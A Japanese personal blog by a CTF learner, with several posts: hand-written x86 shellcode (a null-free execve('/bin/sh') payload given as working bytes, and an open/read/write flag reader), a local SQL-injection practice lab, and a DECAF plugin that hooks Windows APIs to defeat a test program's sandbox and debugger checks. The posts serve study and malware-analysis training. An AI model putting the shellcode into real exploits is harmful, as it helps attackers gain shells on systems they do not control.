shellcodeを書いてみる

ももいろテクノロジーさんの2番煎じみたいな感じになりそうですが…

今まで問題を解く際にshell-stormなどから拾って使っていたし, それはスクリプトキディみたいなので自分で書いてみます.

shellcode書き次第, 適宜追加していきます…

  • x86 (execve)
  • x86 (open() -> read() -> write())
  • x86_64 (execve)
  • x86_64 (open() -> read() -> write())

execve(x86)

#include <unistd.h>
int main(){
  char *argv[] = {"/bin/sh", NULL};
  execve(argv[0], argv, NULL);
}
// gcc -m32 -z execstack execve.c

cでexecve(“/bin/sh”, {“/bin/sh”, 0}, 0);する前のレジスタの値をgdbで調べて

それを参考に アセンブラを書いてみる.

$ objdump -M intel -d a.out | sed -n '/<__execve>:/,/^$/p'
0806c270 <__execve>:
 806c270:   53                     push   ebx
 806c271:   8b 54 24 10              mov    edx,DWORD PTR [esp+0x10]
 806c275:   8b 4c 24 0c            mov    ecx,DWORD PTR [esp+0xc]
 806c279:   8b 5c 24 08           mov    ebx,DWORD PTR [esp+0x8]
 806c27d:   b8 0b 00 00 00           mov    eax,0xb
 806c282:   ff 15 f0 a9 0e 08     call   DWORD PTR ds:0x80ea9f0
 806c288:   3d 00 f0 ff ff         cmp    eax,0xfffff000
 806c28d:   77 02                 ja     806c291 <__execve+0x21>
 806c28f:   5b                      pop    ebx
 806c290:   c3                      ret    
 806c291:   c7 c2 e8 ff ff ff       mov    edx,0xffffffe8
 806c297:   f7 d8                   neg    eax
 806c299:   65 89 02                 mov    DWORD PTR gs:[edx],eax
 806c29c:   83 c8 ff               or     eax,0xffffffff
 806c29f:   5b                      pop    ebx
 806c2a0:   c3                      ret    
 806c2a1:   66 90                 xchg   ax,ax
 806c2a3:   66 90                 xchg   ax,ax
 806c2a5:   66 90                 xchg   ax,ax
 806c2a7:   66 90                 xchg   ax,ax
 806c2a9:   66 90                 xchg   ax,ax
 806c2ab:   66 90                 xchg   ax,ax
 806c2ad:   66 90                 xchg   ax,ax
 806c2af:   90                     nop

$ gdb -q ./a.out                                          
Reading symbols from ./a.out...(no debugging symbols found)...done.
gdb-peda$ disas *0x80ea9f0
Dump of assembler code for function _dl_sysinfo_int80:
   0x0806ed70 <+0>:  int    0x80
   0x0806ed72 <+2>:  ret    
End of assembler dump.

int 0x80が呼ばれる前のレジスタの値を整理してみると

EAX: 0xb ('\x0b')
EBX: 0x80bdf48 ("/bin/sh")
ECX: 0xffffd478 --> 0x80bdf48 ("/bin/sh")
EDX: 0x0
  .intel_syntax noprefix
  .globl _start

_start:
  push 0x0068732f
  push 0x6e69622f
  mov ebx, esp
  xor edx, edx
  push edx
  push ebx
  mov ecx, esp
  mov eax, 11
  int 0x80

ライブラリなどをリンクしないで実行します.

$ gcc -m32 -nostdlib execve.s
$ ./a.out

シェルが立ち上がることが確認出来ました. 機械語の部分だけ抽出して, 明示的にシェルコードを実行してみます.

char sc[] = "\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x31\xd2\x52\x53\x89\xe1\xb8\x0b\x00\x00\x00\xcd\x80";

int main()
{
      (*(void (*)())sc)();
}
// $ gcc -m32 -z execstack -o sc shellcode.c
// $ ./sc

シェルが立ち上がることが確認出来ました. nullバイトが混ざっていて, strcpy(); などの関数をバイパス出来ないので, null-freeなものにしていきます.

  .intel_syntax noprefix
  .globl _start

_start:
  push 0x68732f2f
  push 0x6e69622f
  mov ebx, esp
  xor edx, edx
  push edx
  push ebx
  mov ecx, esp
  lea eax, [edx+11]
  int 0x80

/bin/shと/bin//shは同等なので, これでnullバイトが取り除けて,

即値で0xb入れていたところも lea eax, [edx+11]でnullバイトが取り除けました.

最初はコレでいけるだろ〜wとか思ってたけどSEGVで落ちた, ので調べてみました. (と言ってもstraceしただけです)

f:id:tsunpoko:20160824095530p:plain

/bin/sh\372〜みたいなファイルは無いよ〜と怒られています.(それはそう)

最後にnullバイトが必要っぽい.

(文字列的?にnullバイトが必要なだけで, 機械語にnullバイトが混ざってはいけないので以下のように書き直しました)

機械語だけ抽出して実行してみます.

  .intel_syntax noprefix
  .globl _start

_start:
  xor edx, edx
  push edx
  push 0x68732f2f
  push 0x6e69622f
  mov ebx, esp
  push edx
  push ebx
  mov ecx, esp
  lea eax, [edx+11]
  int 0x80
char sc[] = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";

int main()
{
  (*(void (*)())sc)();
}
// $ gcc -m32 -z execstack -o sc3 shellcode3.c
// $ ./sc3
// $

シェルが立ち上がることが確認出来ました.

f:id:tsunpoko:20160824100207p:plain

怒られていません.

open -> read -> write

#include<sys/types.h>
#include<sys/stat.h>
#include<fcntl.h>
#include<unistd.h>

int main(){
  int fd, len;
  char buf[100];
  fd = open("/home/tsun/flag", O_RDONLY);
  len = read(fd, buf, 100);
  write(1, buf, len);
  return 0;
}

c言語の詳しいお作法とか分からないので間違っていたら教えてください. 一応これで出来る.

objdump -M intel -S  ./a.out  | sed -n '/<main>:/,/^$/p'
08048e24 <main>:
 8048e24:   55                     push   ebp
 8048e25:   89 e5                   mov    ebp,esp
 8048e27:   83 e4 f0                 and    esp,0xfffffff0
 8048e2a:   83 c4 80               add    esp,0xffffff80
 8048e2d:   65 a1 14 00 00 00     mov    eax,gs:0x14
 8048e33:   89 44 24 7c              mov    DWORD PTR [esp+0x7c],eax
 8048e37:   31 c0                   xor    eax,eax
 8048e39:   c7 44 24 04 00 00 00  mov    DWORD PTR [esp+0x4],0x0
 8048e40:   00 
 8048e41:   c7 04 24 68 df 0b 08  mov    DWORD PTR [esp],0x80bdf68
 8048e48:   e8 23 3d 02 00         call   806cb70 <__libc_open>
 8048e4d:   89 44 24 10             mov    DWORD PTR [esp+0x10],eax
 8048e51:   c7 44 24 08 64 00 00    mov    DWORD PTR [esp+0x8],0x64
 8048e58:   00 
 8048e59:   8d 44 24 18              lea    eax,[esp+0x18]
 8048e5d:   89 44 24 04             mov    DWORD PTR [esp+0x4],eax
 8048e61:   8b 44 24 10              mov    eax,DWORD PTR [esp+0x10]
 8048e65:   89 04 24              mov    DWORD PTR [esp],eax
 8048e68:   e8 73 3d 02 00         call   806cbe0 <__libc_read>
 8048e6d:   89 44 24 14             mov    DWORD PTR [esp+0x14],eax
 8048e71:   8b 44 24 14              mov    eax,DWORD PTR [esp+0x14]
 8048e75:   89 44 24 08             mov    DWORD PTR [esp+0x8],eax
 8048e79:   8d 44 24 18              lea    eax,[esp+0x18]
 8048e7d:   89 44 24 04             mov    DWORD PTR [esp+0x4],eax
 8048e81:   c7 04 24 01 00 00 00   mov    DWORD PTR [esp],0x1
 8048e88:   e8 c3 3d 02 00           call   806cc50 <__libc_write>
 8048e8d:   b8 00 00 00 00          mov    eax,0x0
 8048e92:   8b 54 24 7c           mov    edx,DWORD PTR [esp+0x7c]
 8048e96:   65 33 15 14 00 00 00   xor    edx,DWORD PTR gs:0x14
 8048e9d:   74 05                 je     8048ea4 <main+0x80>
 8048e9f:   e8 7c 5a 02 00          call   806e920 <__stack_chk_fail>
 8048ea4:   c9                       leave  
 8048ea5:   c3                       ret    
 8048ea6:   66 90                 xchg   ax,ax
 8048ea8:   66 90                 xchg   ax,ax
 8048eaa:   66 90                 xchg   ax,ax
 8048eac:   66 90                 xchg   ax,ax
 8048eae:   66 90                 xchg   ax,ax

-static オプション付きでコンパイルしました. open(), read(), write()それぞれステップイン実行していって sysenter呼び出し時のレジスタの値を調べました.

open(filename, 0);

EAX: 0x5 -> open()のシステムコール番号
EBX: 0x80bdf68 ("/home/tsun/flag") -> ファイル名のアドレス
ECX: 0x0 

raxにfile descripterが返る
read(fd, buf, len);

EAX: 0x3 -> read()のシステムコール番号 
EBX: 0x3 -> ファイルディスクリプタ
ECX: 0xffffd3b8 -> bufferのアドレス
EDX: 0x64 -> 読み込む長さ

raxに読み込んだサイズが返る
write(1, buf, len);

EAX: 0x4 -> write(0のシステムコール番号
EBX: 0x1  -> STDOUT
ECX: 0xffffd3b8 -> bufferのアドレス
EDX: 0xf -> 書き出す長さ

このような流れでshellcodeを組めば良さそう

  .intel_syntax noprefix
  .globl _start

_start:
  xor ecx, ecx
  push ecx
  push 0x67616c66
  push 0x2f2f6e75
  push 0x73742f65
  push 0x6d6f682f
  mov ebx, esp
  push ecx
  push ebx
  lea eax, [ecx + 5]
  int 0x80
  lea ecx, [ebx + 40]
  mov ebx, eax
  xor eax, eax
  lea edx, [eax + 100]
  lea eax, [eax + 3]
  int 0x80
  mov edx, eax
  xor eax, eax
  lea ebx, [eax + 1]
  lea eax, [eax + 4]
  int 0x80
$ echo THIS_IS_A_FLAG > /home/tsun/flag
$ gcc -nostdlib -m32 sc.s
$ ./a.out
THIS_IS_A_FLAG
[6]    21817 segmentation fault (core dumped)  ./a.out

SEGVするけどまあ読めるので良いでしょう. 59byteでした.

  .intel_syntax noprefix
  .globl _start

_start:
  xor ecx, ecx
  push ecx
  push 0x67616c66
  push 0x2f2f6e75
  push 0x73742f65
  push 0x6d6f682f
  mov ebx, esp
  lea eax, [ecx + 5]
  int 0x80
  mov ecx, esp
  mov ebx, eax
  mov dl, 0x64
  mov al, 0x3
  int 0x80
  mov edx, eax
  mov bl, 0x1
  mov al, 0x4
  int 0x80

さっきのはとりあえず脳死でただ書いただけな感じだったし暇だったので48byteまで削った.

execve(x86_64)

reverse-shell(x86)

reverse-shell(x86_64)

execve_alphanumeric(x86)

exercise sql injection

面白いの見つけたので紹介します.

脆弱性を突くチャレンジ的なやつ.

まだ見つけたばかりで全部やっていなくてレベル感が分からないけど,知見になりそう.

github.com

今のところ

- Social Engineering

- XSS

- CSRF

- SQL Injection

- File Upload

に関するチャレンジができます〜(といっても自分で環境を構築しないといけない)

 

SQL Injection Challengeを途中までやったけどWrite-Upとか公開していいか分からないのでChallenge1だけ紹介

 

Vagrantとかで適当に環境を構築してください(試してないけどHerokuでもできるっぽい?)

- PHP

- MySQL

- Webサーバ (僕はApache使った)

- dbdata.sqlというのがあるので適当なdatabase作って取り込む

そしてローカルに立てたサーバにアクセスすると下のような画面が出ます

f:id:tsunpoko:20160516172347p:plain

左下の "REGISTER NOW!" を押して適当にユーザ作ってください.

 

※ちゃんと表示されなかったたらエラーログを見ながら解決するといいです. 調べながらやると解決できました.

 

HackMe-SQL-Injection-Challenges/challenge_1.md at master · breakthenet/HackMe-SQL-Injection-Challenges · GitHub

itemmarket.phpにSQLiの脆弱性があると書いているのでソースを見ます.

ソースを見ながら脆弱性を探せるので学ぶのには丁度良さそう.

133行目,GETでユーザの入力をそのまま処理している箇所がありここがSQLインジェクションチャンス

 

悪意のあるリクエストを送ってあげました.

apacheaccess_logを見てみると

f:id:tsunpoko:20160516221326p:plain

きちんと悪意のあるリクエストが飛んでいます

自分でこうしてログ見て攻撃を疑似体験するの面白い〜w

tableが消えてしまいました

f:id:tsunpoko:20160516221352p:plain 

f:id:tsunpoko:20160516221413p:plain

これだとマズいので,

しっかりエスケープ処理することが大事って思いますね

 

まだ他にもSQLiチャレンジ以外にもあるので

遊んでいきたい

近状報告とこれからの予定的な

無事、3年生に進級できて学校生活を送っている

 

最近はwebをしたりしています(6月頭にhardeningがあるので)

そして何か開発しないとな〜と思っている

 

普通にCTFとかでコードは書くけど

開発みたいな感じのはあまりした事がないw

ミニキャンプ沖縄でやったntddkさんの

マルウェアなんちゃらDECAFのプラグイン開発くらい

 

tsunpoko.hatenablog.com

tsunpoko.hatenablog.com

 

 

hardening終わって色々と足りなかった知識/技術を見直したら

またセキュキャンまでpwn生活します(たまに常設のwebも解いていく)

 

バイト終わった3月末くらいからイベント型のCTFには大体参加しているので

これからも参加して知見を得ていきたい

全てのジャンルある程度1人で解けるようになりたいので

2016年はどんどん参加していって新年を迎える頃には全ジャンル脱初心者していたい(まだCryptoとかPPC全然ダメ)

 

1年間くらいセキュキャン参加のために頑張ってきたので

是非とも参加したい

ミニキャンプ沖縄・仮想化技術を用いたマルウェア解析-Revenge(プラグイン開発編)

ミニキャンプ沖縄で出来なかったところのリベンジです!

環境構築は前回書いてるのでそちらを参考にしてください.

 

解析対象はblue.exeというマルウェアっぽい挙動をするマルウェアではないexeです.

それでは,Let's プラグイン開発!!

 (1週間程度の冬休みにぼちぼちとやる予定です.随時更新します.)

geteip.c

ソースを全部載せると見づらくなるので

適当に抜粋しています.

    
static plugin_interface_t geteip_interface;
static DECAF_Handle processbegin_handle = DECAF_NULL_HANDLE;
static DECAF_Handle blockbegin_handle = DECAF_NULL_HANDLE;
static DECAF_Handle isdebuggerpresent_handle = DECAF_NULL_HANDLE;
char targetname[512];
uint32_t target_cr3;

typedef struct {
        uint32_t call_stack[1]; //paramters and return address
        DECAF_Handle hook_handle;
} IsDebuggerPresent_hook_context_t;

/*
 * BOOL IsDebuggerPresent(VOID);
 */

static void IsDebuggerPresent_ret(void *param)
{
        IsDebuggerPresent_hook_context_t *ctx = (IsDebuggerPresent_hook_context_t *)param;
        hookapi_remove_hook(ctx->hook_handle);
cpu_single_env->regs[R_EAX] = 0; DECAF_printf("EIP = %08x, EAX = %d\n", cpu_single_env->eip, cpu_single_env->regs[R_EAX]); free(ctx); } static void IsDebuggerPresent_call(void *opaque) { DECAF_printf("IsDebuggerPresent "); IsDebuggerPresent_hook_context_t *ctx = (IsDebuggerPresent_hook_context_t*)malloc(sizeof(IsDebuggerPresent_hook_context_t)); if(!ctx) return; DECAF_read_mem(NULL, cpu_single_env->regs[R_ESP], 4, ctx->call_stack); ctx->hook_handle = hookapi_hook_return(ctx->call_stack[0], IsDebuggerPresent_ret, ctx, sizeof(*ctx)); } static void geteip_block_begin_callback(DECAF_Callback_Params* params) { if(params->bb.env->cr[3] == target_cr3) { target_ulong eip = params->bb.env->eip; target_ulong eax = params->bb.env->regs[R_EAX]; // DECAF_printf("EIP = 0x%08x, EAX = 0x%08x\n", eip, eax); } } static void geteip_loadmainmodule_callback(VMI_Callback_Params* params) { if(strcmp(params->cp.name,targetname) == 0) { DECAF_printf("Process %s you spcecified starts \n", params->cp.name); target_cr3 = params->cp.cr3; isdebuggerpresent_handle = hookapi_hook_function_byname("kernel32.dll", "IsDebuggerPresent", 1, target_cr3, IsDebuggerPresent_call, NULL, 0); blockbegin_handle = DECAF_register_callback(DECAF_BLOCK_BEGIN_CB, &geteip_block_begin_callback, NULL); } }

優しいことに,IsDebuggerPresent()は,雛形があります.

IsDebuggerPresent_ret()の中に

cpu_single_env->regs[R_EAX] = 0;

を入れるだけです.

このIsDebuggerPresent()というのは,Debugしているかを調査し,

Debugされていたら終了するという挙動を示します.

戻り値が0になればDebugされていないと認識されます.

IsDebuggerPresent()はHookできました.ここから課題スタートです.

IsDebuggerPresent_ret()とIsDebuggerPresent_call()を参考にこれからHookしていきたいと思います.

blue.exeのソースは同じディレクトリにあるblue.cppですが,

本当のマルウェアはソースを与えてくれるなんて優しいことはしないと思うので

IDAで見ます.(blue.cppを見ながら...w)

[Level1] Blue...

f:id:tsunpoko:20151227185316p:plain

static inline int Blue(){
        printf("\n[Level 1] Blue ...");
        Sleep(360000);
        DWORD time1 = GetTickCount();
        Sleep(500);
        if ((GetTickCount() - time1) < 450) Detected();
        else return 0;
}

 Level1は,このような挙動を示します.

6分間Sleep()した後に,GetTickCount()を2回コールしています.

ちなみに,Detected()は終了する関数みたいな感じです.

なぜ6分間もSleep()しているのかですが,もしマルウェアがサンドボックスなどに投げられて,自動解析される際に,挙動を隠すことができるからです.

Malwr - Malware Analysis by Cuckoo Sandbox

などは実際に投げられたプログラム(マルウェア)を動かし,スクリーンショットでマルウェアの挙動を返してくれます.

その際に,6分間何もしなければスクリーンショットには,それっぽい挙動は写りこみません.

話が少しそれましたが,手始めにSleep()をHookしていきたいと思います.

 

構造体を宣言し,Sleep_ret(),Sleep_call()の順でコードを書いていきます.

static DECAF_Handle sleep_handle = DECAF_NULL_HANDLE;
                 .
                 .
typedef struct{
        uint32_t call_stack[2];
        DECAF_Handle hook_handle;
}Sleep_hook_context_t;
                 .
                 .
static void Sleep_ret(void *param){
        Sleep_hook_context_t *ctx = (Sleep_hook_context_t*)param;
        hookapi_remove_hook(ctx->hook_handle);
        DECAF_printf("EIP = %08x, EAX = %d\n", cpu_single_env->eip, cpu_single_env->regs[R_EAX]);
        free(ctx);
}

static void Sleep_call(void *opaque){
        DECAF_printf("Sleep ");
        Sleep_hook_context_t *ctx = (Sleep_hook_context_t*)malloc(sizeof(Sleep_hook_context_t));
        if(!ctx) return;
        DECAF_read_mem(NULL, cpu_single_env->regs[R_ESP], 4, ctx->call_stack);
        ctx->call_stack[1] = 1;
        DECAF_write_mem(NULL, cpu_single_env->regs[R_ESP], 2*4, ctx->call_stack);
        ctx->hook_handle = hookapi_hook_return(ctx->call_stack[0], Sleep_ret, ctx, sizeof(*ctx));
}
                 .
                 .
static void geteip_loadmainmodule_callback(VMI_Callback_Params* params)
{
             sleep_handle = hookapi_hook_function_byname("kernel32.dll", "Sleep", 1, target_cr3, Sleep_call, NULL, 0);
}

どんな事をしているかですが,注目するのはSleep_call()中の

ctx->call_stack[1] = 1; です.

stackにリターンアドレス,引数の順で値を積んでいます.(たぶん)

構造体宣言でcall_stack[2]としたのはコレが理由です.

だからcall_stackの2番目に1を代入して1msしかSleep()しないようにしています.

DECAF_write_mem()して反映させて終わりです.

次はGetTickCount()をHookしていきます.

でもこの関数さすがに分からなかったのでMSDNで調べました.

GetTickCount 関数

GetTickCount

システムを起動した後の経過時間を、ミリ秒(ms)単位で取得します。この時間は、システムタイマの分解能による制限を受けます。システムタイマの分解能を取得するには、GetSystemTimeAdjustment 関数を使います。

DWORD GetTickCount(VOID);

パラメータ

パラメータはありません。

戻り値

関数が成功すると、システムを起動した後の経過時間が、ミリ秒単位で返ります。

解説

経過時間は DWORD 型で保存されています。システムを 49.7 日間連続して動作させると、経過時間は 0 に戻ります。

 てな感じです.

Blue()の中で2回GetTickCount()をコールしていて,

1回目と2回目の間にSleep(500)を挟み,差を比較しています.差が450以内だとプログラムが終了する.

なるほど,Sleep()が1msとか小さい値でHookされていたら差が450以内で収まるのか.

頭いい...イタチごっことはまさにこの事か...

戻り値...戻り値をどうにかすれば良さそう!!

static DECAF_Handle gettickcount_handle = DECAF_NULL_HANDLE;
                     .
                     .
int cnt = 1;
                     .
                     .
typedef struct{
        uint32_t call_stack[1];
        DECAF_Handle hook_handle;
 }GetTickCount_hook_context_t;

                     .
                     .
static void GetTickCount_ret(void *param){
        GetTickCount_hook_context_t *ctx = (GetTickCount_hook_context_t*)param;
        hookapi_remove_hook(ctx->hook_handle);
        if(cnt){
                cpu_single_env->regs[R_EAX] = 0;
                cnt--;
        }
        else{
                cpu_single_env->regs[R_EAX] = 114514;
                //cpu_single_env->regs[R_EAX] = 0;
        }
        DECAF_printf("EIP = %08x, EAX = %d\n", cpu_single_env->eip, cpu_single_env->regs[R_EAX]);
        free(ctx);
}

static void GetTickCount_call(void *opaque){
        DECAF_printf("GetTickCount ");
        GetTickCount_hook_context_t *ctx = (GetTickCount_hook_context_t*)malloc(sizeof(GetTickCount_hook_context_t));
        if(!ctx) return;
        DECAF_read_mem(NULL, cpu_single_env->regs[R_ESP], 4, ctx->call_stack);
        ctx->hook_handle = hookapi_hook_return(ctx->call_stack[0], GetTickCount_ret, ctx, sizeof(*ctx));
}
                     .
                     .
static void geteip_loadmainmodule_callback(VMI_Callback_Params* params)
{
            gettickcount_handle = hookapi_hook_function_byname("kernel32.dll", "GetTickCount", 1, target_cr3, GetTickCount_call, NULL, 0);
}

解説をすると1回目のGetTickCount()では0を返して,2回目のGetTickCount()では114514を返すだけの簡単な事をしています. 

差が450をはるかに超えています...Hookできた...!!

これでlevel1のBlue()をbypassできました~w

[level2] Charlie...

f:id:tsunpoko:20151228114629p:plain

 static inline int Charlie(){
        printf("\n[Level 2] Charlie ...");
        SYSTEM_INFO siSysInfo;
        GetSystemInfo(&siSysInfo);
        if (siSysInfo.dwNumberOfProcessors < 2) Detected();
        else return 0;
}

 SYSTEM_INFO構造体ってなんだ...調べた.

構造体: SYSTEM_INFO

プロセッサおよびメモリに関するシステム情報が格納されます。


定義

Type SYSTEM_INFO
    dwOemId As Long
    dwPageSize As Long
    lpMinimumApplicationAddress As Long
    lpMaximumApplicationAddress As Long
    dwActiveProcessorMask As Long
    dwNumberOfProcessors As Long
    dwProcessorType As Long
    dwAllocationGranularity As Long
    wProcessorLevel As Integer
    wProcessorRevision As Integer
End Type

 なるほど.

GetSystemInfo()ってなんだ...調べた.

GetSystemInfo

現在のシステムに関する情報(ページのサイズやプロセッサの種類など)を取得します。

 
 
VOID GetSystemInfo(
  LPSYSTEM_INFO lpSystemInfo  // システム情報
);

パラメータ

lpSystemInfo
1 個の 構造体へのポインタを指定します。関数から制御が返ると、この構造体に、システムに関する情報が格納されます。

戻り値

戻り値はありません。

 なるほど.

Charlie()は,GetSystemInfoでSYSTEM_INFO構造体メンバのプロセッサの個数が格納されているやつを読み取って1以下だと終了する!という認識です.

ということは,以下の様なコードでHookできるはず.

static DECAF_Handle getsysteminfo_handle = DECAF_NULL_HANDLE;
                     .
                     .
typedef struct{
        uint32_t call_stack[10];
        DECAF_Handle hook_handle;
}GetSystemInfo_hook_context_t;
                     .
                     .
static void GetSystemInfo_ret(void *param){
        GetSystemInfo_hook_context_t *ctx = (GetSystemInfo_hook_context_t*)param;
        hookapi_remove_hook(ctx->hook_handle);
        DECAF_read_mem(NULL, cpu_single_env->regs[R_ESP], 10*4, ctx->call_stack);
        ctx->call_stack[5] = 2;
        DECAF_write_mem(NULL, cpu_single_env->regs[R_ESP], 10*4, ctx->call_stack);
        DECAF_printf("EIP = %08x, EAX = %d\n", cpu_single_env->eip, cpu_single_env->regs[R_EAX]);
        free(ctx);
}

static void GetSystemInfo_call(void *opaque){
        DECAF_printf("GetSystemInfo ");
        GetSystemInfo_hook_context_t *ctx = (GetSystemInfo_hook_context_t*)malloc(sizeof(GetSystemInfo_hook_context_t));
        if(!ctx) return;
        DECAF_read_mem(NULL, cpu_single_env->regs[R_ESP], 4*10, ctx->call_stack);
        /*
        ctx->call_stack[5] = 2; この関数の中で書き換えたら上手くいかない
        DECAF_write_mem(NULL, cpu_single_env->regs[R_ESP], 4*10, ctx->call_stack);  
        */
        ctx->hook_handle = hookapi_hook_return(ctx->call_stack[0], GetSystemInfo_ret, ctx, sizeof(*ctx));
} . . static void geteip_loadmainmodule_callback(VMI_Callback_Params* params) { getsysteminfo_handle = hookapi_hook_function_byname("kernel32.dll", "GetSystemInfo", 1, target_cr3, GetSystemInfo_call, NULL, 0); }

 戻り値がないからGetSystemInfo_call()の中でどうにかするんだな~って思い込んでました.(Sleep()も戻り値が無く,Sleep_call()でどうにかしたため)

でもMSDNちゃんと読むと

!!!関数から制御が帰ると!!!システムに関する情報が格納される

 みたいなこと書いてたので,もしかしてGetSystemInfo_ret()内で何かするんじゃねって思ったので,GetSystemInfo_call()でやってた事を,GetSystemInfo_ret()内のhookapi_remove_hook()の後にそのまま持ってきてやると出来ました.

ちなみに,これもともとプロセッサとか2つ以上割り当ててたらどうなるんだろう...

マシンに1つしか積んでないので出来ないから分からない.

[Level3] Delta...

f:id:tsunpoko:20151228131909p:plain

Graph Viewできない,なんでだろう

static inline int Delta(){
        printf("\n[Level 3] Delta ...");
        unsigned long NumberOfProcessors = 0;
        __asm{
                mov eax, fs:[0x30]
                mov eax, [eax + 0x64]
                mov NumberOfProcessors, eax
        }
        if (NumberOfProcessors & 0x1) Detected();
        else return 0;
}

 なんか,NumberOfProcessorsってあるからlevel2と同じなのかな...でも構造体とかないぞ...どうなんだろう.

とりあえずインラインアセンブラが使われているからムズそう.ゆうて簡単な命令しか書いてないけど.

----------------------2015/12/28------------------------------------

考えたけど思い浮かばないので,一旦この記事を終わる.できたら更新します.

とりあえずNumberOfProcessors_[ret/call]()作ったけどどうしていいのかわからない.

---------------------2015/12/29-------------------------------------

再考.

よくよく考えると別に関数呼出しているわけでもない...

そして,fsとか0x30とか__asmとか色々調べてたらいい記事を見つけてしまった.神.

pinksawtooth.hatenablog.com

TEB構造体,PEB構造体なるものがある事がわかった.これは結構でかい.

記事にも書いているがTEB構造体から0x30の位置にPEB構造体があり,そこからPEB構造体にアクセスできるらしい.

そして,コードから読み取る限りは,PEB構造体(fs:[0x30])から0x64の位置にプロセッサの数についての情報が格納されているらしい.(PEB構造体の25番目)

偶然,持っていた本にPEB構造体について書かれていた.

うさぴょんさん著の"デバッガによるx86プログラム解析入門(x64対応)"のP65にある.

googleの試し読み的なやつにもあったのでその画像を載せてみる.

f:id:tsunpoko:20151229131921p:plain

f:id:tsunpoko:20151229131943p:plain

100(0x64)/4で確かに25番目にNumberOfProcessorsとある.

こうして本に書いてあるが実際にはこのような情報は公表はされていないらしい.

よし,あとはコレを書き換えるだけだが,TEB構造体のアドレスの取得のやり方がわからない.頑張って探した.日本の記事は調べたけどだれも書いてなさそうっぽい,言語設定を英語にして探した.(検索結果が変わるかは分からないけど)

http://decaf-platform.googlecode.com/svn-history/r247/trunk/shared/windows_vmi.cpp

ページ内を0x30で検索してあげると,TEB構造体からPEB構造体へアクセスしているコードが載っている.

これを参考にDECAF_[read/write]_mem()するだけでいけそう.

static void NumOfProc(){
        uint32_t base = 0, peb = 0, peb_addr = 0, proc = 0;
        base = cpu_single_env->segs[R_FS].base;
        peb = base + 0x30;
        DECAF_read_mem(NULL, peb , 4, &peb_addr);
        DECAF_read_mem(NULL, peb_addr + 0x64 , 4, &proc);
        proc = 2;
        DECAF_write_mem(NULL, peb_addr + 0x64 , 4, &proc);
}
                 .
                 .
static void geteip_loadmainmodule_callback(VMI_Callback_Params* params)
{
                 NumOfProc();
}

いえーいbypassed
疲れた〜楽しい〜w

[level4] Echo...

f:id:tsunpoko:20151229134939p:plain

 

static inline int Echo(){

        printf("\n[Level 4] Echo ...");
        __try{__asm{cmpxchg8b fs:[0x1000]}}
        __except (1){Detected();}
        return 0;
}

 もう限界を迎えた.

なんか例外処理みたいな事してるな~くらいしか考える頭がない...疲れた(甘え)

 今の方針は明確ではないけど,"cmpxchg8b"命令がF00F Bugというバグを引き起こしている命令っぽいのでそれをどうにかするのかなって...そろそろ本気でつらいw